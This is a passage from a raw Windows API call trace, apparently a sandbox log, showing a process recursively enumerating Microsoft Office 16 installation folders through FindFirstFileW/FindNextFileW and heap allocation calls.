RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\nl\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf2dd35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf2dd35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf2dd35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0283.625] GetProcessHeap () returned 0xaf0000 [0283.625] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.625] GetProcessHeap () returned 0xaf0000 [0283.625] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.625] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\no\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffe01c35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffe01c35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffe01c35, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.625] GetProcessHeap () returned 0xaf0000 [0283.626] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.626] GetProcessHeap () returned 0xaf0000 [0283.626] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pl\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x68ff786, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x68ff786, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69259a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.626] GetProcessHeap () returned 0xaf0000 [0283.626] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.626] GetProcessHeap () returned 0xaf0000 [0283.626] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.626] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc2b31ff, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc2b31ff, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc2b31ff, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.627] GetProcessHeap () returned 0xaf0000 [0283.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.627] GetProcessHeap () returned 0xaf0000 [0283.627] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\pt-BR\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x386b77a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x386b77a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x386b77a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.627] GetProcessHeap () returned 0xaf0000 [0283.627] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.627] GetProcessHeap () returned 0xaf0000 [0283.627] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.627] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ro\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4903b8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4903b8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4903b8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.628] GetProcessHeap () returned 0xaf0000 [0283.628] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.628] GetProcessHeap () returned 0xaf0000 [0283.628] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.628] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\ru\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86a6c5d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x86a6c5d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x86a6c5d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.628] GetProcessHeap () returned 0xaf0000 [0283.628] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.628] GetProcessHeap () returned 0xaf0000 [0283.628] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sk\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.630] GetProcessHeap () returned 0xaf0000 [0283.630] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.630] GetProcessHeap () returned 0xaf0000 [0283.630] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.630] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sl\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a7cf13, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.631] GetProcessHeap () returned 0xaf0000 [0283.631] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.631] GetProcessHeap () returned 0xaf0000 [0283.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.631] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-BA\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1565dae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1565dae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1565dae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.631] GetProcessHeap () returned 0xaf0000 [0283.631] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.631] GetProcessHeap () returned 0xaf0000 [0283.631] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.631] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Cyrl-CS\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf443017d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf443017d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf44563cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.632] GetProcessHeap () returned 0xaf0000 [0283.632] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.632] GetProcessHeap () returned 0xaf0000 [0283.632] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.632] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sr-Latn-CS\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.632] GetProcessHeap () returned 0xaf0000 [0283.632] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.632] GetProcessHeap () returned 0xaf0000 [0283.632] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.632] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\sv\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6354def, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6354def, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.633] GetProcessHeap () returned 0xaf0000 [0283.633] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.633] GetProcessHeap () returned 0xaf0000 [0283.633] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.633] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\th\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfb67b102, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb67b102, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6ed802, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.633] GetProcessHeap () returned 0xaf0000 [0283.633] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.633] GetProcessHeap () returned 0xaf0000 [0283.633] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.633] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\tr\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.634] GetProcessHeap () returned 0xaf0000 [0283.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.634] GetProcessHeap () returned 0xaf0000 [0283.634] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.634] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\uk\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02ec8 [0283.634] GetProcessHeap () returned 0xaf0000 [0283.634] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.634] GetProcessHeap () returned 0xaf0000 [0283.635] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\vi\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.635] GetProcessHeap () returned 0xaf0000 [0283.635] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.635] GetProcessHeap () returned 0xaf0000 [0283.635] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.635] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-CN\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc40a725, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc40a725, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc40a725, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02d08 [0283.636] GetProcessHeap () returned 0xaf0000 [0283.636] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.636] GetProcessHeap () returned 0xaf0000 [0283.636] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.636] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\MSIPC\\zh-TW\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x659fb9, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x659fb9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x659fb9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0283.636] GetProcessHeap () returned 0xaf0000 [0283.636] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.636] GetProcessHeap () returned 0xaf0000 [0283.636] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.638] GetProcessHeap () returned 0xaf0000 [0283.638] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.638] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\OneNote\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1c8ab024, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1c8ab024, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.641] GetProcessHeap () returned 0xaf0000 [0283.641] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.641] GetProcessHeap () returned 0xaf0000 [0283.641] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.642] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\OutlookAutoDiscover\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1fc86400, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1fc86400, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.645] GetProcessHeap () returned 0xaf0000 [0283.645] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.645] GetProcessHeap () returned 0xaf0000 [0283.645] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.645] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PAGESIZE\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcc348b22, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1fc39fa2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1fc39fa2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03148 [0283.648] GetProcessHeap () returned 0xaf0000 [0283.648] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x36cc2b0 | out: hHeap=0xaf0000) returned 1 [0283.648] GetProcessHeap () returned 0xaf0000 [0283.648] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x36cc2b0 [0283.648] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\*", lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc39bed4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb0d2731, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb0d2731, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0283.649] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc39bed4a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb0d2731, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb0d2731, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.649] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0283.650] GetProcessHeap () returned 0xaf0000 [0283.650] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb02c08 [0283.651] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc52c782a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0283.651] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd928f97c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR8EN.DLL", cAlternateFileName="")) returned 1 [0283.651] FindNextFileW (in: hFindFile=0xb02c08, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xc52c782a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc52c782a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd928f97c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSGR8EN.DLL", cAlternateFileName="")) returned 0 [0283.651] FindClose (in: hFindFile=0xb02c08 | out: hFindFile=0xb02c08) returned 1 [0283.651] GetProcessHeap () returned 0xaf0000 [0283.651] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3a61058 | out: hHeap=0xaf0000) returned 1 [0283.651] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0283.652] GetProcessHeap () returned 0xaf0000 [0283.652] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3a61058 [0283.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1036\\*", lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf318faf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf318faf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf31b5d3e, ftLastWriteTime.dwHighDateTime=0x1d327e7, 